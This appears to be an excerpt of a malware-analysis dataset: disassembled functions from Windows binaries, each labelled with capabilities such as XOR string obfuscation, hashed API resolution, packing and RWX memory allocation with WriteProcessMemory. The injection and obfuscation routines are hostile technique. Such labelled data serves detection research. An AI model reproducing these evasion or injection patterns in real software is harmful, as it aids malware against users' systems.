joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43fa50
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov esi, dword [ecx + 8]
test esi, esi
je 0x43fb2a
xor eax, eax
cmp dword [ecx], 0
jne 0x43fb6a
mov edx, dword [esp + 0x3c]
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], esi
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x24], eax
mov dword [esp], 0x20272625
mov byte [esp + 4], 0
xor eax, eax
xor esi, esi
nop
nop
nop
nop
movzx edi, byte [esp + esi]
mov ebx, eax
and ebx, 0xa
mov ebp, esi
xor ebp, 0x76c0655d
add ebx, ebp
add ebx, 0x382159dc
xor ebx, edi
mov edi, ebx
and edi, 0x62
xor ebx, 0xe2
lea ebx, [ebx + edi*2]
inc bl
mov byte [esp + esi], bl
inc esi
add eax, 2
cmp esi, 5
jne 0x43fac0
mov eax, dword [esp]
mov esi, dword [0x451b2c]
test esi, esi
je 0x43fb6a
xor edi, edi
mov ebx, dword [0x451b30]
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x3ba5404
je 0x43fb74
mov ebp, edi
and ebp, 1
xor edi, 1
lea edi, [edi + ebp*2]
cmp edi, esi
jb 0x43fb10
jmp 0x43fb6a
mov dword [esp + 8], 0x8fcec930
mov byte [esp + 0xc], 0
lea eax, [esp + 8]
mov ecx, 0x4d
movzx esi, byte [eax]
lea edx, [ecx - 0x7d323500]
or edx, esi
and esi, ecx
not edx
or edx, esi
mov ebx, edx
and ebx, 5
add ebx, ebx
xor edx, 0x7a
sub ebx, edx
mov byte [eax], bl
inc eax
dec ecx
cmp ecx, 0x48
jne 0x43fb40
mov eax, dword [esp + 8]
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
je 0x43fb6a
lea eax, [esp + 0x20]
lea edi, [esp + 8]
push eax
push edi
push edx
push ecx
push 4
push dword [0x451b34]
push esi
call fcn.00442050
add esp, 0x1c
jmp 0x43fb6a

Function at 0x43fbb0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
test eax, eax
je 0x43fc6b
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp], 0x20272625
mov byte [esp + 4], 0
xor edx, edx
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + esi]
mov ebx, edx
and ebx, 0xa
mov ebp, esi
xor ebp, 0x76c0655d
add ebx, ebp
add ebx, 0x382159dc
xor ebx, edi
mov edi, ebx
and edi, 0x62
xor ebx, 0xe2
lea ebx, [ebx + edi*2]
inc bl
mov byte [esp + esi], bl
inc esi
add edx, 2
cmp esi, 5
jne 0x43fbe0
mov edx, dword [0x451b2c]
test edx, edx
je 0x43fc5e
mov esi, dword [esp]
xor edi, edi
mov ebx, dword [0x451b30]
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x7e776f1
je 0x43fc40
inc edi
cmp edx, edi
jne 0x43fc30
jmp 0x43fc5e
mov edx, dword [ebx + edi*8 + 4]
cmp edx, esi
je 0x43fc5e
push eax
push 1
push dword [0x451b34]
push edx
mov esi, ecx
call fcn.00442050
mov ecx, esi
add esp, 0x10
mov dword [ecx], 0
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43ff10
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, ecx
mov edi, dword [esp + 0x28]
mov ebx, dword [esp + 0x24]
mov eax, dword [ecx + 4]
test eax, eax
jne 0x43ffa2
push 0xf8eb88df
push dword [0x451b20]
call fcn.00444940
add esp, 8
test eax, eax
je 0x43ff65
mov ecx, dword [esi]
test ecx, ecx
je 0x43ff9f
mov dword [esp], 0
mov edx, esp
push edx
push ecx
call eax
test eax, eax
je 0x43ff7b
cmp dword [esp], 0
je 0x43ff7b
mov dword [esi + 4], 3
jmp 0x43ff9f
mov ecx, edi
mov edi, ebx
mov dword [esi + 4], 1
mov eax, dword [esi]
mov dword [esp + 8], eax
jmp 0x440037
lea eax, [esp + 0xc]
push eax
call fcn.00445130
add esp, 4
test al, al
je 0x43ff9f
mov eax, dword [esp + 0xc]
mov ecx, 2
cmp eax, 3
je 0x43ff9c
mov ecx, eax
mov dword [esi + 4], ecx
mov eax, dword [esi + 4]
mov ecx, edi
mov edx, dword [esi]
mov dword [esp + 8], edx
mov edi, ebx
cmp eax, 2
jne 0x440037
mov dword [esp], 0x20272625
mov byte [esp + 4], 0
xor eax, eax
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ebp]
mov ebx, eax
and ebx, 0xa
mov edx, ebp
xor edx, 0x76c0655d
add edx, ebx
add edx, 0x382159dc
xor edx, esi
mov esi, edx
and esi, 0x62
xor edx, 0xe2
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ebp], dl
inc ebp
add eax, 2
cmp ebp, 5
jne 0x43ffd0
mov eax, dword [esp]
mov edx, dword [0x451b2c]
test edx, edx
je 0x4400d7
xor esi, esi
mov ebx, dword [0x451b30]
cmp dword [ebx + esi*8], 0x1cbb9425
je 0x4400b0
inc esi
cmp edx, esi
jne 0x440020
jmp 0x4400d7
mov dword [esp], 0x20272625
mov byte [esp + 4], 0
xor eax, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx]
mov ebx, eax
and ebx, 0xa
mov ebp, edx
xor ebp, 0x76c0655d
add ebx, ebp
add ebx, 0x382159dc
xor ebx, esi
mov esi, ebx
and esi, 0x62
xor ebx, 0xe2
lea ebx, [ebx + esi*2]
inc bl
mov byte [esp + edx], bl
inc edx
add eax, 2
cmp edx, 5
jne 0x440050
mov eax, dword [esp]
mov edx, dword [0x451b2c]
test edx, edx
je 0x4400d7
xor esi, esi
mov ebx, dword [0x451b30]
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x62429966
je 0x4400b0
inc esi
cmp edx, esi
jne 0x4400a0
jmp 0x4400d7
mov edx, dword [ebx + esi*8 + 4]
cmp edx, eax
je 0x4400d7
push dword [esp + 0x30]
push dword [esp + 0x30]
push ecx
push edi
push dword [esp + 0x18]
push 5
push dword [0x451b34]
push edx
call fcn.00442050
add esp, 0x20
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
Function at 0x440420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
mov esi, ecx
mov edi, dword [ebp + 0x1c]
test edi, edi
jne 0x440439
lea edi, [esp + 0x10]
mov eax, dword [esi + 4]
test eax, eax
je 0x44044a
cmp eax, 2
je 0x4404bc
jmp 0x4404e9
push 0xf8eb88df
push dword [0x451b20]
call fcn.00444940
add esp, 8
test eax, eax
je 0x440487
mov ecx, dword [esi]
test ecx, ecx
je 0x4404b4
mov dword [esp], 0
mov edx, esp
push edx
push ecx
call eax
test eax, eax
je 0x440490
cmp dword [esp], 0
je 0x440490
mov dword [esi + 4], 3
jmp 0x4404b4
mov dword [esi + 4], 1
jmp 0x4404e9
lea eax, [esp + 0xc]
push eax
call fcn.00445130
add esp, 4
test al, al
je 0x4404b4
mov eax, dword [esp + 0xc]
mov ecx, 2
cmp eax, 3
je 0x4404b1
mov ecx, eax
mov dword [esi + 4], ecx
mov eax, dword [esi + 4]
cmp eax, 2
jne 0x4404e9
mov ebx, dword [ebp + 0x18]
push 0x1e03da9a
push dword [0x459b48]
call fcn.00444940
add esp, 8
push edi
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi]
call eax
jmp 0x440587
mov eax, dword [esi]
mov dword [esp + 8], eax
mov dword [esp], 0x20272625
mov byte [esp + 4], 0
xor eax, eax
xor ecx, ecx
nop
movzx esi, byte [esp + ecx]
mov ebx, eax
and ebx, 0xa
mov edx, ecx
xor edx, 0x76c0655d
add edx, ebx
add edx, 0x382159dc
xor edx, esi
mov esi, edx
and esi, 0x62
xor edx, 0xe2
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 5
jne 0x440500
mov eax, dword [esp]
mov edx, dword [0x451b2c]
test edx, edx
je 0x440587
xor esi, esi
mov ebx, dword [0x451b30]
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x64567875
je 0x440560
inc esi
cmp edx, esi
jne 0x440550
jmp 0x440587
mov edx, dword [ebx + esi*8 + 4]
cmp edx, eax
je 0x440587
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [esp + 0x18]
push 5
push dword [0x451b34]
push edx
call fcn.00442050
add esp, 0x20
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0x18
Function at 0x441fa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
xor edx, edx
test eax, eax
sete dl
jmp dword [edx*4 + 0x44fcc8]
Function at 0x443540
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x2c]
mov ecx, ebx
add ecx, ebp
mov edx, edi
adc edx, 0
xor eax, eax
mov esi, 0xfffffffe
cmp esi, ecx
mov ecx, 0
sbb ecx, edx
mov esi, dword [esp + 0x28]
jb 0x4435b4
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add esi, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, esi
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
test bl, 1
je 0x44370e
and ebx, 2
movzx ecx, byte [edx + ebx]
mov byte [esi + ebx], cl
jmp 0x44370e
mov dword [esp], 0x70605
mov dword [esp + 4], 0
mov eax, 0x40da6e41
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x40da6e41]
xor ecx, eax
mov edx, ecx
and edx, 0x3a
xor ecx, 0xba
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax - 0x40da6e41], cl
inc eax
cmp eax, 0x40da6e49
jne 0x4435d0
mov eax, dword [esp]
mov ecx, dword [0x451b2c]
test ecx, ecx
je 0x443652
xor edx, edx
mov edi, dword [0x451b30]
nop
nop
cmp dword [edi + edx*8], 0x7789b0cb
je 0x443624
inc edx
cmp ecx, edx
jne 0x443610
mov edi, dword [esp + 0x24]
jmp 0x443652
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
mov edi, dword [esp + 0x24]
je 0x443652
lea eax, [esp + 8]
push 2
push 0
push 0
push eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push 7
push dword [0x451b34]
push ecx
call fcn.00442050
add esp, 0x28
test eax, eax
js 0x44370e
push 0x1e03da9a
push dword [0x459b48]
call fcn.00444940
add esp, 8
push 0
push 0
push ebx
push esi
push edi
push ebp
push dword [esp + 0x20]
call eax
mov ecx, dword [esp + 8]
mov dword [esp], 0x70605
mov dword [esp + 4], 0
mov edx, 0x40da6e41
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx - 0x40da6e41]
xor esi, edx
mov edi, esi
and edi, 0x3a
xor esi, 0xba
lea ebx, [esi + edi*2]
inc bl
mov byte [esp + edx - 0x40da6e41], bl
inc edx
cmp edx, 0x40da6e49
jne 0x4436a0
mov edx, dword [0x451b2c]
test edx, edx
je 0x44370e
mov esi, dword [esp]
xor edi, edi
mov ebx, dword [0x451b30]
nop
cmp dword [ebx + edi*8], 0x7e776f1
je 0x4436f0
inc edi
cmp edx, edi
jne 0x4436e0
jmp 0x44370e
mov edx, dword [ebx + edi*8 + 4]
cmp edx, esi
je 0x44370e
push ecx
push 1
push dword [0x451b34]
push edx
mov esi, eax
call fcn.00442050
mov eax, esi
add esp, 0x10
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x444440
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov dword [esp + 4], 0xc9cacb9c
mov dword [esp + 8], 0
mov eax, 0x244984d3
mov ecx, 0x2c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x244984cf]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
mov esi, edx
and esi, 0x60
mov edi, edx
xor edi, 0xe0
lea ebx, [edi + esi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + eax - 0x244984cf], bl
inc eax
dec ecx
cmp eax, 0x244984db
jne 0x444470
mov eax, dword [esp + 4]
mov eax, dword fs:[eax]
xor ecx, ecx
cmp dword [esp + 0x24], 0
sete cl
jmp dword [ecx*4 + 0x4505ac]

Function at 0x4447ba
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
sub esp, 8
mov ecx, dword [esp + 0x18]
mov dword [esp], 0x37363908
mov byte [esp + 4], 0
xor edx, edx
mov eax, 0xffffffff
nop
nop
nop
mov esi, eax
or esi, 0x36
mov ebx, edx
or ebx, 0x36
add ebx, esi
add ebx, edx
inc bl
xor bl, byte [esp + edx]
add bl, 0xf2
mov byte [esp + edx], bl
lea esi, [edx + 1]
dec eax
mov edx, esi
cmp esi, 5
jne case.default.0x444801
mov eax, dword [esp]
mov eax, dword fs:[eax]
xor edx, edx
test ecx, ecx
sete dl
jmp dword [edx*4 + 0x45063c]
mov edx, dword [eax + 0xc]
add edx, 0xc
xor eax, eax
mov esi, dword [edx]
xor ebx, ebx
cmp esi, edx
setne bl
jmp dword [ebx*4 + 0x450644]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
add edx, 0xc
xor eax, eax
mov esi, dword [edx]
xor ebx, ebx
cmp esi, edx
setne bl
jmp dword [ebx*4 + 0x450644]
mov edi, 1
jmp dword [edi*4 + 0x450654]
xor ebx, ebx
cmp dword [esi + 0x18], ecx
sete bl
jmp dword [ebx*4 + 0x45064c]
mov eax, dword [esi + 0x30]
xor edi, edi
jmp dword [edi*4 + 0x450654]
mov ecx, dword [0x450668]
nop
nop
nop
jmp ecx
Function at 0x444940
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov esi, dword [ebp + 8]
push eax
mov edi, esp
movzx edx, word [esi]
mov dword [ebp - 0x1c], 0x514e1503
mov ecx, 0x572806d
nop
nop
movzx ebx, byte [ebp + ecx - 0x5728089]
mov eax, ebx
and eax, ecx
add al, al
sub bl, al
movzx eax, bl
add eax, ecx
add al, 0xdf
mov byte [ebp + ecx - 0x5728089], al
inc ecx
cmp ecx, 0x5728071
jne 0x444960
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setne cl
xor ebx, ebx
mov dword [ebp - 0x14], edi
jmp dword [ecx*4 + 0x45068c]
Function at 0x445330
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov edi, dword [esp + 0x4c]
mov ebp, dword [esp + 0x3c]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebp + esi + 2], 0
lea esi, [esi + 2]
jne 0x445350
sar esi, 1
lea ebx, [esi + 4]
mov ecx, esi
and ecx, 1
mov eax, ebx
or eax, 1
add eax, ecx
jns 0x445375
mov eax, 0xffffffff
jmp 0x445377
add eax, eax
push eax
call fcn.0040cee0
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [ebp]
test dx, dx
je 0x4453c2
add ebp, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebp]
add ebp, 2
test dx, dx
jne 0x4453b0
mov word [ecx], 0
mov ecx, ebx
and ecx, 0xfffd
and esi, 2
mov edx, esi
xor edx, 2
imul edx, ecx
or ebx, 2
imul ebx, esi
lea ecx, [ebx + edx]
mov word [esp + 8], cx
lea ecx, [ebx + edx]
add ecx, 2
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0xf4f5fafb
mov dword [esp + 4], 0
mov ecx, 0xf2b2e3d6
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0xd4d1c2a]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0xd2
mov byte [esp + ecx + 0xd4d1c2a], dl
inc ecx
cmp ecx, 0xf2b2e3de
jne 0x445440
mov esi, dword [esp]
mov ecx, dword [0x451b2c]
test ecx, ecx
je 0x4454c4
xor edx, edx
mov ebx, dword [0x451b30]
nop
nop
nop
cmp dword [ebx + edx*8], 0x266686e9
je 0x445490
inc edx
cmp ecx, edx
jne 0x445480
jmp 0x4454c4
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x4454c4
mov edx, esp
lea esi, [esp + 0x10]
push edi
push dword [esp + 0x4c]
push edx
push esi
push dword [esp + 0x54]
push dword [esp + 0x54]
push 6
push dword [0x451b34]
push ecx
mov edi, eax
call fcn.00442050
add esp, 0x24
mov esi, eax
mov eax, edi
push eax
call fcn.0040cef0
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x403410
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409d76
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2274
call fcn.00409cd0
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x24], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x227c], ecx
xor eax, eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x2028]
push ecx
mov ecx, dword [ebp - 0x227c]
call fcn.004031e0
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jge 0x403483
mov eax, dword [ebp - 0x20]
jmp 0x40392a
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x2028]
push eax
call fcn.00402f00
add esp, 8
test eax, eax
jne 0x4034af
push 0x20f
mov ecx, dword [ebp - 0x227c]
call fcn.00402450
jmp 0x40392a
mov ecx, dword [ebp - 0x227c]
call fcn.004031a0
lea ecx, [ebp - 0x2028]
push ecx
mov ecx, dword [ebp - 0x227c]
call fcn.004031e0
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jge 0x4034dd
mov eax, dword [ebp - 0x20]
jmp 0x40392a
movzx edx, word [ebp - 0x1c]
mov dword [ebp - 0x2280], edx
cmp dword [ebp - 0x2280], 0x13
jg 0x403518
cmp dword [ebp - 0x2280], 0x13
je 0x4036e7
cmp dword [ebp - 0x2280], 8
je 0x403529
cmp dword [ebp - 0x2280], 0x11
je 0x403755
jmp 0x4038f0
cmp dword [ebp - 0x2280], 0x4008
je 0x403546
jmp 0x4038f0
push 1
lea eax, [ebp - 0x2028]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00401f60
mov dword [ebp - 0x18], eax
jmp 0x4038f0
lea edx, [ebp - 0x2028]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 2
mov dword [ebp - 0x2134], eax
lea ecx, [ebp - 0x2130]
call fcn.00407170
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2134]
push eax
lea ecx, [ebp - 0x2130]
call fcn.00406ee0
jmp 0x403593
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2130]
call fcn.00406ed0
test eax, eax
je 0x4036c9
lea ecx, [ebp - 0x2130]
call fcn.00406ed0
mov dword [ebp - 0x2138], eax
lea ecx, [ebp - 0x2028]
mov dword [ebp - 0x213c], ecx
mov dword [ebp - 0x2134], 0
mov edx, dword [ebp - 0x213c]
movzx eax, word [edx]
test eax, eax
je 0x403687
mov ecx, dword [ebp - 0x213c]
push ecx
call dword [sym.imp.USER32.dll_CharNextW]
mov dword [ebp - 0x2140], eax
mov edx, dword [ebp - 0x213c]
movzx eax, word [edx]
cmp eax, 0x5c
jne 0x403643
mov ecx, dword [ebp - 0x2140]
movzx edx, word [ecx]
cmp edx, 0x30
jne 0x403643
xor eax, eax
mov ecx, dword [ebp - 0x2138]
mov word [ecx], ax
mov edx, dword [ebp - 0x2138]
add edx, 2
mov dword [ebp - 0x2138], edx
mov eax, dword [ebp - 0x2140]
push eax
call dword [sym.imp.USER32.dll_CharNextW]
mov dword [ebp - 0x213c], eax
jmp 0x403673
mov ecx, dword [ebp - 0x2138]
mov edx, dword [ebp - 0x213c]
mov ax, word [edx]
mov word [ecx], ax
mov ecx, dword [ebp - 0x2138]
add ecx, 2
mov dword [ebp - 0x2138], ecx
mov edx, dword [ebp - 0x213c]
add edx, 2
mov dword [ebp - 0x213c], edx
invalid
invalid
Function at 0x406880
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x40a024]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4068a7
mov ecx, 5
int 0x29
push 2
call fcn.004052fb
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x4069b2
test esi, esi
jne 0x4069b2
push 2
call fcn.004052fb
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040454d
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x4012c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
shl ecx, 0xa
add ecx, edx
cmp byte [0x40b388], 0
je 0x40131a
push esi
push ecx
call fcn.004054e1
add esp, 4
mov dword [ebp - 4], 2
cmp byte [0x40b388], 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 0x400
push esi
je 0x401307
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push dword [0x40b38c]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push 0x40
push 0x1000
push ecx
push 0
push dword [0x40b38c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esp, ebp
pop ebp
ret
Function at 0x4015a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov edx, edi
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x4015b0
sub edx, ecx
xor ecx, ecx
lea ebx, [edx + 1]
mov edx, ebx
call fcn.004012c0
cmp byte [0x40b388], 0
mov esi, eax
je 0x4015f6
lea eax, [ebp - 4]
mov dword [ebp - 4], 2
push eax
push 0x40
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x401607
push 0
push ebx
push edi
push esi
push dword [0x40b38c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, 0x1c
xor ecx, ecx
call fcn.004012c0
mov edi, eax
mov dword [0x40ab5d], esi
mov edx, 0x18
mov dword [0x40ab62], edi
mov ecx, 0x40ab5c
call fcn.00401340
cmp byte [0x40b388], 0
je 0x40164d
push 0
push esi
call fcn.004054b0
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push esi
push dword [0x40b38c]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401800
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push dword [ebp + 0xc]
mov esi, ecx
push eax
mov byte [esi], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0x67452301
mov dword [esi + 0x50], 0xefcdab89
mov dword [esi + 0x54], 0x98badcfe
mov dword [esi + 0x58], 0x10325476
call fcn.00402040
cmp byte [esi], 0
jne 0x401913
xor ecx, ecx
lea edx, [esi + 0x46]
nop word [eax + eax]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0xc], al
movzx eax, byte [edx - 5]
mov byte [ebp + ecx - 0xb], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0xa], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 9], al
add ecx, 4
cmp ecx, 8
jb 0x401860
mov edx, dword [esi + 0x44]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
push edi
cmovae eax, ecx
mov ecx, esi
push eax
push 0x40ad90
call fcn.00402040
push 8
lea eax, [ebp - 0xc]
mov ecx, esi
push eax
call fcn.00402040
lea edx, [esi + 0x5e]
mov edi, 4
lea eax, [esi + 0x4e]
nop
movzx ecx, byte [eax - 2]
lea eax, [eax + 4]
mov byte [edx - 2], cl
lea edx, [edx + 4]
movzx ecx, byte [eax - 5]
mov byte [edx - 5], cl
movzx ecx, byte [eax - 4]
mov byte [edx - 4], cl
movzx ecx, byte [eax - 3]
mov byte [edx - 3], cl
sub edi, 1
jne 0x4018d0
pop edi
push 0x40
lea ecx, [esi + 1]
push 0
push ecx
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
add esp, 0xc
movq qword [esi + 0x44], xmm0
mov byte [esi], 1
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00405472
mov esp, ebp
pop ebp
ret 8